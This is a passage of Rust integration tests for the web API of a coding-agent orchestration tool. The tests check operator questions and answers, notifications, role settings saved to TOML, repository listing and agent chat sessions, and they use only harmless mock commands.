8286 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8287
8288 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8290 assert_eq!(
8291 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8292 404
8293 );
8294 }
8295
8296 #[tokio::test]
8297 async fn a_run_with_an_open_question_reads_as_waiting() {
8298 let fx = Fixture::start().await;
8299 let run = "20260902-000000-beef".to_owned();
8300 write_run(&fx.runs(), &run, RunStatus::Implementing);
8301
8302 let before = fx.get("/api/runs").await.json();
8303 assert_eq!(before[0]["waiting"], false, "{before}");
8304
8305 let store = fx.questions();
8306 let mut q = Question::new(
8307 run.clone(),
8308 "implement".to_owned(),
8309 "impl-A".to_owned(),
8310 "Which backend?".to_owned(),
8311 String::new(),
8312 vec!["SQLite".to_owned()],
8313 );
8314 store.put(&mut q).expect("put");
8315
8316 let during = fx.get("/api/runs").await.json();
8317 assert_eq!(during[0]["waiting"], true, "{during}");
8318
8319 q.answer(Answer::Choice("SQLite".to_owned()))
8322 .expect("answer");
8323 store.put(&mut q).expect("put");
8324 let after = fx.get("/api/runs").await.json();
8325 assert_eq!(after[0]["waiting"], false, "{after}");
8326 }
8327
8328 #[tokio::test]
8329 async fn an_open_question_is_listed_and_counted_by_health() {
8330 let fx = Fixture::start().await;
8331 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8332
8333 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8334 let listed = fx.get("/api/questions").await.json();
8335 assert_eq!(listed.as_array().expect("array").len(), 1);
8336 assert_eq!(listed[0]["id"], id);
8337 assert_eq!(listed[0]["status"], "open");
8338 assert_eq!(listed[0]["choices"][1], "Redis");
8339 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8342 }
8343
8344 #[tokio::test]
8345 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8346 let fx = Fixture::start().await;
8347 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8348 let path = format!("/api/questions/{id}/answer");
8349
8350 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8351 assert_eq!(res.status, 200, "{}", res.body);
8352 let body = res.json();
8353 assert_eq!(body["status"], "answered");
8354 assert_eq!(body["answer"]["choice"], "Redis");
8355
8356 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8360 assert_eq!(again.status, 409, "{}", again.body);
8361 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8362 }
8363
8364 #[tokio::test]
8365 async fn saying_something_appends_a_turn_without_answering() {
8366 let fx = Fixture::start().await;
8367 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8368 let path = format!("/api/questions/{id}/say");
8369
8370 let res = fx
8371 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8372 .await;
8373 assert_eq!(res.status, 200, "{}", res.body);
8374 let body = res.json();
8375 assert_eq!(body["status"], "open", "talking back is not a decision");
8376 assert_eq!(body["answer"], Value::Null);
8377 assert_eq!(body["thread"][0]["who"], "operator");
8378 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8379 assert_eq!(body["waiting_on_agent"], true);
8380 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8382 }
8383
8384 #[tokio::test]
8385 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8386 let fx = Fixture::start().await;
8387 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8388
8389 let list = fx.get("/api/questions").await.json();
8390 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8391
8392 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8393 assert_eq!(res.status, 409, "{}", res.body);
8394 let q = fx.questions().get(&id).unwrap();
8395 assert!(q.status.open());
8396 assert!(q.consult.is_none());
8397 }
8398
8399 #[tokio::test]
8400 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8401 let fx = Fixture::start().await;
8402 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8403 let cfg = Config {
8404 agents: vec![crate::config::AgentSpec {
8405 id: "mock".to_owned(),
8406 kind: crate::config::AgentKind::Command,
8407 model: None,
8408 command: vec!["true".to_owned()],
8409 extra_args: Vec::new(),
8410 env: Default::default(),
8411 prompt_delivery: None,
8412 }],
8413 ..Config::default()
8414 };
8415 let talk = crate::talk::begin(
8416 &fx.talks(),
8417 &cfg,
8418 fx.home.path().to_path_buf(),
8419 Some("mock"),
8420 )
8421 .unwrap();
8422 let mut task = Task::new(
8423 "t".to_owned(),
8424 "Do it".to_owned(),
8425 PathBuf::from("/repo/magi"),
8426 Source::Agent {
8427 run: talk.id.clone(),
8428 node: crate::queue::CHAT_NODE.to_owned(),
8429 },
8430 );
8431 task.start("20260902-000000-beef".to_owned());
8432 fx.queue().put(&mut task).unwrap();
8433
8434 let list = fx.get("/api/questions").await.json();
8435 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8436 assert_eq!(
8437 list[0]["choices"],
8438 serde_json::json!(["SQLite", "Redis"]),
8439 "the hand-over is never a choice"
8440 );
8441 fx.questions()
8442 .update(&id, |q| {
8443 q.node = crate::land::APPROVAL_NODE.into();
8444 q.choices = vec!["merge".into(), "hold".into()];
8445 Ok(())
8446 })
8447 .unwrap();
8448 let list = fx.get("/api/questions").await.json();
8449 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8450 let _ = id;
8451 }
8452
8453 #[tokio::test]
8454 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8455 let fx = Fixture::start().await;
8456 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8457 fx.questions()
8458 .update(&id, |q| {
8459 q.node = crate::land::APPROVAL_NODE.into();
8460 q.choices = vec!["merge".into(), "hold".into()];
8461 Ok(())
8462 })
8463 .unwrap();
8464 let cfg = Config {
8465 agents: vec![crate::config::AgentSpec {
8466 id: "mock".to_owned(),
8467 kind: crate::config::AgentKind::Command,
8468 model: None,
8469 command: vec!["true".to_owned()],
8470 extra_args: Vec::new(),
8471 env: Default::default(),
8472 prompt_delivery: None,
8473 }],
8474 ..Config::default()
8475 };
8476 let repo = fx.home.path().join("chat-repo");
8478 std::fs::create_dir_all(&repo).unwrap();
8479 let toml = repo.join("magi.toml");
8480 std::fs::write(&toml, "this is = = not toml").unwrap();
8481 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8482 let mut task = Task::new(
8483 "t".to_owned(),
8484 "Do it".to_owned(),
8485 PathBuf::from("/repo/magi"),
8486 Source::Agent {
8487 run: talk.id.clone(),
8488 node: crate::queue::CHAT_NODE.to_owned(),
8489 },
8490 );
8491 task.start("20260902-000000-beef".to_owned());
8492 fx.queue().put(&mut task).unwrap();
8493
8494 let path = format!("/api/questions/{id}/consult");
8495 let res = fx.post(&path, None).await;
8496 assert!(res.status >= 400, "{}", res.body);
8497 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8498 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8499
8500 std::fs::write(&toml, "").unwrap();
8501 let res = fx.post(&path, None).await;
8502 assert_eq!(res.status, 202, "{}", res.body);
8503 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8504 let q = fx.questions().get(&id).unwrap();
8505 assert!(q.status.open());
8506 assert!(q.answer.is_none());
8507 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8508 }
8509
8510 #[tokio::test]
8511 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8512 let fx = Fixture::start().await;
8513 let store = fx.questions();
8514 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8515 assert_eq!(
8516 fx.get("/api/health").await.json()["questions_needs_owner"],
8517 1
8518 );
8519
8520 let res = fx
8526 .post(
8527 &format!("/api/questions/{id}/say"),
8528 Some(r#"{"body":"why not Postgres?"}"#),
8529 )
8530 .await;
8531 assert_eq!(res.status, 200, "{}", res.body);
8532 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8533 assert_eq!(
8534 fx.get("/api/health").await.json()["questions_needs_owner"],
8535 0,
8536 "waiting on the agent is not waiting on the owner"
8537 );
8538
8539 let mut q = store.get(&id).expect("get");
8543 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8544 .expect("reply");
8545 store.put(&mut q).expect("put");
8546 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8547 assert_eq!(
8548 fx.get("/api/health").await.json()["questions_needs_owner"],
8549 1,
8550 "the agent's reply is what should light the banner back up"
8551 );
8552 }
8553
8554 #[tokio::test]
8555 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8556 let fx = Fixture::start().await;
8557 let store = fx.questions();
8558
8559 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8560 let res = fx
8561 .post(
8562 &format!("/api/questions/{empty_id}/say"),
8563 Some(r#"{"body":" "}"#),
8564 )
8565 .await;
8566 assert_eq!(res.status, 400, "{}", res.body);
8567
8568 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8569 let mut answered = store.get(&answered_id).expect("get");
8570 answered
8571 .answer(Answer::Choice("SQLite".to_owned()))
8572 .expect("answer");
8573 store.put(&mut answered).expect("put");
8574 let res = fx
8575 .post(
8576 &format!("/api/questions/{answered_id}/say"),
8577 Some(r#"{"body":"still there?"}"#),
8578 )
8579 .await;
8580 assert_eq!(res.status, 409, "{}", res.body);
8581
8582 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8583 let mut abandoned = store.get(&abandoned_id).expect("get");
8584 abandoned.abandon("timed out");
8585 store.put(&mut abandoned).expect("put");
8586 let res = fx
8587 .post(
8588 &format!("/api/questions/{abandoned_id}/say"),
8589 Some(r#"{"body":"still there?"}"#),
8590 )
8591 .await;
8592 assert_eq!(res.status, 409, "{}", res.body);
8593 }
8594
8595 #[tokio::test]
8596 async fn an_answer_the_question_does_not_offer_is_refused() {
8597 let fx = Fixture::start().await;
8598 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8599 let path = format!("/api/questions/{id}/answer");
8600
8601 for body in [
8602 r#"{"choice":"Postgres"}"#,
8603 r#"{"text":"whatever you think"}"#,
8604 r#"{"choice":"Redis","text":"both"}"#,
8605 r#"{}"#,
8606 ] {
8607 let res = fx.post(&path, Some(body)).await;
8608 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8609 assert!(res.json()["error"].is_string(), "{}", res.body);
8610 }
8611 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8613 }
8614
8615 #[tokio::test]
8616 async fn a_free_text_question_takes_text_and_not_a_choice() {
8617 let fx = Fixture::start().await;
8618 let id = ask(&fx, "What should the flag be called?", &[]);
8619 let path = format!("/api/questions/{id}/answer");
8620
8621 assert_eq!(
8622 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8623 400
8624 );
8625 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8626 assert_eq!(res.status, 200, "{}", res.body);
8627 assert_eq!(res.json()["answer"]["text"], "--json");
8628 }
8629
8630 #[tokio::test]
8631 async fn an_unknown_question_is_a_json_404() {
8632 let fx = Fixture::start().await;
8633 let res = fx
8634 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8635 .await;
8636 assert_eq!(res.status, 404, "{}", res.body);
8637 assert!(res.json()["error"].is_string());
8638 }
8639
8640 #[tokio::test]
8641 async fn notifications_list_read_dismiss_and_health_agree() {
8642 let fx = Fixture::start().await;
8643 let store = Notices::at(fx.home.path().join("notifications"));
8644 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8645 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8646
8647 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8648 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8649
8650 let health = fx.get("/api/health").await.json();
8651 assert_eq!(health["notifications_unread"], 2);
8652 assert_ne!(
8653 health["notifications_rev"], rev0,
8654 "the badge must move live"
8655 );
8656
8657 let listed = fx.get("/api/notifications").await.json();
8658 assert_eq!(listed["unread"], 2);
8659 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8660 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8661
8662 let read = fx
8663 .post(&format!("/api/notifications/{}/read", a.id), None)
8664 .await;
8665 assert_eq!(read.status, 200, "{}", read.body);
8666 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8667
8668 let gone = fx
8669 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8670 .await;
8671 assert_eq!(gone.status, 200, "{}", gone.body);
8672 let listed = fx.get("/api/notifications").await.json();
8673 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8674 assert_eq!(listed["unread"], 0);
8675
8676 store.raise(Notice::info("x", "again")).unwrap();
8677 let all = fx.post("/api/notifications/read-all", None).await;
8678 assert_eq!(all.status, 200, "{}", all.body);
8679 assert_eq!(all.json()["marked"], 1);
8680 assert_eq!(
8681 fx.get("/api/health").await.json()["notifications_unread"],
8682 0
8683 );
8684
8685 let missing = fx.post("/api/notifications/nope/read", None).await;
8686 assert_eq!(missing.status, 404, "{}", missing.body);
8687 assert!(missing.json()["error"].is_string());
8688 }
8689
8690 #[tokio::test]
8697 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8698 let f = Fixture::start().await;
8699
8700 let res = f
8701 .post(
8702 "/api/queue",
8703 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8704 )
8705 .await;
8706
8707 assert_eq!(
8708 res.status, 405,
8709 "POST /api/queue must not be a route: {}",
8710 res.body
8711 );
8712 assert!(
8713 f.queue().list().is_empty(),
8714 "a task filed by a route that does not exist must not reach the disk"
8715 );
8716 assert_eq!(f.get("/api/queue").await.status, 200);
8719 }
8720
8721 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8723 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8724 .expect("checkout dir");
8725 }
8726
8727 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8729
8730 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8731 let tmp = TempDir::new().expect("tempdir");
8732 let repo = tmp.path().join("repo");
8733 std::fs::create_dir_all(&repo).expect("repo dir");
8734 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8735 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8736 if let Some(text) = machine_toml {
8737 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8738 std::fs::write(&machine, text).expect("machine toml");
8739 }
8740 (tmp, repo, machine)
8741 }
8742
8743 #[tokio::test]
8744 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8745 let (_tmp, repo, machine) =
8746 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8747 let f = Fixture::with_repo_and_machine(repo, machine).await;
8748 let res = f.get("/api/settings").await;
8749 assert_eq!(res.status, 200, "{}", res.body);
8750 let v = res.json();
8751 assert!(v["error"].is_null(), "{v}");
8752 let role = |k: &str| {
8753 v["roles"]
8754 .as_array()
8755 .and_then(|r| r.iter().find(|x| x["key"] == k))
8756 .cloned()
8757 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8758 };
8759 assert_eq!(role("judges")["source"], "machine");
8760 assert_eq!(role("judges")["editable"], true);
8761 assert_eq!(role("implementers")["source"], "default");
8762 let adv = role("advisors");
8763 assert_eq!(adv["fallback"], "judges");
8764 assert!(
8765 adv["seats"]
8766 .as_array()
8767 .is_some_and(|s| s.iter().all(|x| x == "b")),
8768 "{adv}"
8769 );
8770 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8771 assert_eq!(v["agents"][0]["source"], "repo");
8772 }
8773
8774 #[tokio::test]
8775 async fn settings_get_reports_a_config_that_does_not_parse() {
8776 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8777 let f = Fixture::with_repo_and_machine(repo, machine).await;
8778 let res = f.get("/api/settings").await;
8779 assert_eq!(res.status, 200, "{}", res.body);
8780 let v = res.json();
8781 assert!(v["error"]["message"].is_string(), "{v}");
8782 assert!(
8783 v["error"]["path"]
8784 .as_str()
8785 .is_some_and(|p| p.ends_with("magi.toml")),
8786 "{v}"
8787 );
8788 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8789 }
8790
8791 #[tokio::test]
8792 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8793 let (_tmp, repo, machine) = settings_dirs(
8794 SETTINGS_AGENTS,
8795 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8796 );
8797 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8798 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8799 let rev = f.get("/api/settings").await.json()["revision"]
8800 .as_str()
8801 .expect("revision")
8802 .to_owned();
8803 let body = serde_json::json!({
8804 "revision": rev,
8805 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8806 })
8807 .to_string();
8808 let res = f.put("/api/settings/roles", &body).await;
8809 assert_eq!(res.status, 200, "{}", res.body);
8810 let text = std::fs::read_to_string(&machine).expect("machine");
8811 assert_eq!(
8812 text,
8813 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8814 );
8815 assert_eq!(
8816 std::fs::read(repo.join("magi.toml")).expect("read"),
8817 repo_before
8818 );
8819 let again = f.get("/api/settings").await.json();
8820 let judges = again["roles"]
8821 .as_array()
8822 .expect("roles")
8823 .iter()
8824 .find(|r| r["key"] == "judges")
8825 .expect("judges")
8826 .clone();
8827 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8828 let stale = f.put("/api/settings/roles", &body).await;
8830 assert_eq!(stale.status, 409, "{}", stale.body);
8831 }
8832
8833 #[tokio::test]
8834 async fn settings_counts_are_reported_and_saved() {
8835 let (_tmp, repo, machine) = settings_dirs(
8836 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8837 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8838 );
8839 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8840 let v = f.get("/api/settings").await.json();
8841 let count = |v: &serde_json::Value, k: &str| {
8842 v["roles"]
8843 .as_array()
8844 .and_then(|r| r.iter().find(|x| x["key"] == k))
8845 .map(|x| x["count"].clone())
8846 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8847 };
8848 let imp = count(&v, "implementers");
8849 assert_eq!(imp["value"], 2);
8850 assert_eq!(imp["source"], "machine");
8851 assert_eq!(imp["file_key"], "candidates");
8852 assert_eq!(imp["roster_len"], 2);
8853 assert_eq!(imp["backups"], 0);
8854 assert_eq!(count(&v, "judges")["source"], "default");
8855 assert_eq!(count(&v, "advisors")["min"], 0);
8856 assert_eq!(count(&v, "reviewers")["editable"], false);
8857 assert!(
8858 count(&v, "reviewers")["locked_reason"]
8859 .as_str()
8860 .is_some_and(|m| m.contains("graph.reviewers"))
8861 );
8862 assert!(count(&v, "fixer").is_null());
8863 let rev = v["revision"].as_str().expect("revision").to_owned();
8864 let body = serde_json::json!({
8865 "revision": rev,
8866 "roles": { "judges": ["b"] },
8867 "counts": { "implementers": 1, "advisors": 0 }
8868 })
8869 .to_string();
8870 let res = f.put("/api/settings/roles", &body).await;
8871 assert_eq!(res.status, 200, "{}", res.body);
8872 let text = std::fs::read_to_string(&machine).expect("machine");
8873 assert_eq!(
8874 text,
8875 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8876 );
8877 let after = f.get("/api/settings").await.json();
8878 assert_eq!(count(&after, "implementers")["value"], 1);
8879 assert_eq!(count(&after, "implementers")["backups"], 1);
8880 assert_eq!(count(&after, "advisors")["value"], 0);
8881 let before = std::fs::read_to_string(&machine).expect("machine");
8882 let rev = after["revision"].as_str().expect("revision").to_owned();
8883 for counts in [
8884 serde_json::json!({ "judges": 0 }),
8885 serde_json::json!({ "judges": "x" }),
8886 serde_json::json!({ "judges": 2.5 }),
8887 serde_json::json!({ "judges": -1 }),
8888 serde_json::json!({ "reviewers": 3 }),
8889 serde_json::json!({ "bogus": 3 }),
8890 ] {
8891 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8892 let res = f.put("/api/settings/roles", &body).await;
8893 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8894 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8895 }
8896 }
8897
8898 #[tokio::test]
8899 async fn settings_put_refuses_without_touching_the_file() {
8900 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8901 let (_tmp, repo, machine) = settings_dirs(
8902 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8903 Some(machine_text),
8904 );
8905 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8906 let rev = f.get("/api/settings").await.json()["revision"]
8907 .as_str()
8908 .expect("revision")
8909 .to_owned();
8910 for roles in [
8911 serde_json::json!({ "judges": ["nope"] }),
8912 serde_json::json!({ "reviewers": ["b"] }),
8913 serde_json::json!({ "bogus": ["a"] }),
8914 ] {
8915 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8916 let res = f.put("/api/settings/roles", &body).await;
8917 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8918 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8919 assert_eq!(
8920 std::fs::read_to_string(&machine).expect("machine"),
8921 machine_text
8922 );
8923 }
8924 }
8925
8926 #[tokio::test]
8927 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8928 let tmp = TempDir::new().expect("tempdir");
8929 let repo = tmp.path().join("repo");
8930 std::fs::create_dir_all(&repo).expect("repo dir");
8931 let root = tmp.path().join("root");
8932 make_checkout(&root, "github.com", "yukimemi", "magi");
8933 std::fs::write(
8934 repo.join("magi.toml"),
8935 format!(
8936 "[repos]\nroots = [{:?}]\n",
8937 root.to_string_lossy().into_owned()
8938 ),
8939 )
8940 .expect("write magi.toml");
8941
8942 let f = Fixture::with_repo(repo).await;
8943 let res = f.get("/api/repos").await;
8944 assert_eq!(res.status, 200, "{}", res.body);
8945 let list = res.json();
8946 let repos = list.as_array().expect("an array");
8947 assert_eq!(repos.len(), 1);
8948 assert_eq!(repos[0]["name"], "yukimemi/magi");
8949 assert!(
8950 repos[0]["path"]
8951 .as_str()
8952 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8953 "{list}"
8954 );
8955 }
8956
8957 #[tokio::test]
8958 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8959 let tmp = TempDir::new().expect("tempdir");
8960 let repo = tmp.path().join("repo");
8961 std::fs::create_dir_all(&repo).expect("repo dir");
8962 let root = tmp.path().join("root");
8963 make_checkout(&root, "github.com", "yukimemi", "magi");
8964 std::fs::write(
8965 repo.join("magi.toml"),
8966 format!(
8967 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8968 root.to_string_lossy().into_owned()
8969 ),
8970 )
8971 .expect("write magi.toml");
8972
8973 let f = Fixture::with_repo(repo).await;
8974 let first = f.get("/api/repos").await;
8975 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8976
8977 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8980 let second = f.get("/api/repos").await;
8981 assert_eq!(
8982 second.json().as_array().map(Vec::len),
8983 Some(1),
8984 "a fresh cache must not rescan inside the TTL"
8985 );
8986
8987 let refreshed = f.get("/api/repos?refresh=1").await;
8988 assert_eq!(
8989 refreshed.json().as_array().map(Vec::len),
8990 Some(2),
8991 "an explicit refresh must rescan even inside the TTL"
8992 );
8993 }
8994
8995 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9001
9002 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9006 let tmp = TempDir::new().expect("tempdir");
9007 let repo = tmp.path().join("repo");
9008 std::fs::create_dir_all(&repo).expect("repo dir");
9009 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9010 let f = Fixture::with_repo(repo.clone()).await;
9011 (tmp, repo, f)
9012 }
9013
9014 #[tokio::test]
9015 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9016 let (_tmp, _repo, f) = talk_fixture().await;
9017
9018 let opened = f.post("/api/talks", None).await;
9021 assert_eq!(opened.status, 201, "{}", opened.body);
9022 let body = opened.json();
9023 assert_eq!(body["status"], "open");
9024 assert_eq!(
9025 body["turns"].as_array().unwrap().len(),
9026 0,
9027 "opening takes no agent turn: there is nothing yet to answer"
9028 );
9029
9030 let also_opened = f.post("/api/talks", Some("{}")).await;
9032 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9033
9034 let listed = f.get("/api/talks").await.json();
9035 assert_eq!(listed.as_array().unwrap().len(), 2);
9036 }
9037
9038 #[tokio::test]
9039 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9040 let tmp = TempDir::new().expect("tempdir");
9041 let repo = tmp.path().join("repo");
9042 std::fs::create_dir_all(&repo).expect("repo dir");
9043 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9044 std::fs::write(
9045 repo.join("magi.toml"),
9046 format!("{MOCK_AGENT_TOML}\n{second}"),
9047 )
9048 .expect("write magi.toml");
9049 let home = TempDir::new().expect("temp home");
9050 let talks = Talks::at(home.path().join("talks"));
9051 let ui = Arc::new(
9052 Ui::new(
9053 Queue::at(home.path().join("queue")),
9054 Questions::at(home.path().join("questions")),
9055 talks.clone(),
9056 home.path().join("runs"),
9057 home.path().to_path_buf(),
9058 repo.clone(),
9059 )
9060 .with_worktrees_root(home.path().join("wt")),
9061 );
9062 let cfg = config_for(&repo).await.expect("discover config");
9063 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9064 let id = talk.id.clone();
9065 let call = |agent: &str| {
9066 talk_agent(
9067 State(Arc::clone(&ui)),
9068 Path(id.clone()),
9069 Json(TalkAgent {
9070 agent: agent.to_owned(),
9071 }),
9072 )
9073 };
9074
9075 let unknown = call("nobody").await.expect_err("unknown agent");
9076 assert_eq!(
9077 unknown.status,
9078 StatusCode::BAD_REQUEST,
9079 "{}",
9080 unknown.message
9081 );
9082
9083 {
9084 let mut claimed = None;
9087 for _ in 0..200 {
9088 claimed = ui.begin_talk_turn(&id).expect("claim");
9089 if claimed.is_some() {
9090 break;
9091 }
9092 tokio::time::sleep(Duration::from_millis(10)).await;
9093 }
9094 let _busy = claimed.expect("free");
9095 let busy = call("second").await.expect_err("busy talk");
9096 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9097 }
9098 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9099
9100 let Json(view) = call("second").await.expect("switch");
9101 assert_eq!(view.talk.agent, "second");
9102 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9103 let saved = talks.get(&id).expect("reload");
9104 assert_eq!(saved.agent, "second");
9105 assert_eq!(saved.turns.len(), 1);
9106
9107 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9108 .await
9109 .expect("detail");
9110 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9111 assert_eq!(roster, ["mock", "second"]);
9112
9113 let mut closed = talks.get(&id).expect("reload");
9114 talk::close(&mut closed, &talks).expect("close");
9115 let refused = call("mock").await.expect_err("closed talk");
9116 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9117 }
9118
9119 #[tokio::test]
9120 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9121 let tmp = TempDir::new().expect("tempdir");
9122 let repo = tmp.path().join("repo");
9123 std::fs::create_dir_all(&repo).expect("repo dir");
9124 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9125 let home = TempDir::new().expect("temp home");
9126 let talks = Talks::at(home.path().join("talks"));
9127 let ui = Arc::new(
9128 Ui::new(
9129 Queue::at(home.path().join("queue")),
9130 Questions::at(home.path().join("questions")),
9131 talks.clone(),
9132 home.path().join("runs"),
9133 home.path().to_path_buf(),
9134 repo.clone(),
9135 )
9136 .with_worktrees_root(home.path().join("wt")),
9137 );
9138 let cfg = config_for(&repo).await.expect("discover config");
9139 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9140 let id = talk.id.clone();
9141 let call = |n: u8| {
9142 talk_implementers(
9143 State(Arc::clone(&ui)),
9144 Path(id.clone()),
9145 Json(TalkImplementers { implementers: n }),
9146 )
9147 };
9148
9149 for bad in [0u8, 4] {
9150 let e = call(bad).await.expect_err("out of range");
9151 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9152 }
9153 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9154
9155 {
9156 let mut claimed = None;
9157 for _ in 0..200 {
9158 claimed = ui.begin_talk_turn(&id).expect("claim");
9159 if claimed.is_some() {
9160 break;
9161 }
9162 tokio::time::sleep(Duration::from_millis(10)).await;
9163 }
9164 let _busy = claimed.expect("free");
9165 let busy = call(2).await.expect_err("busy talk");
9166 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9167 }
9168
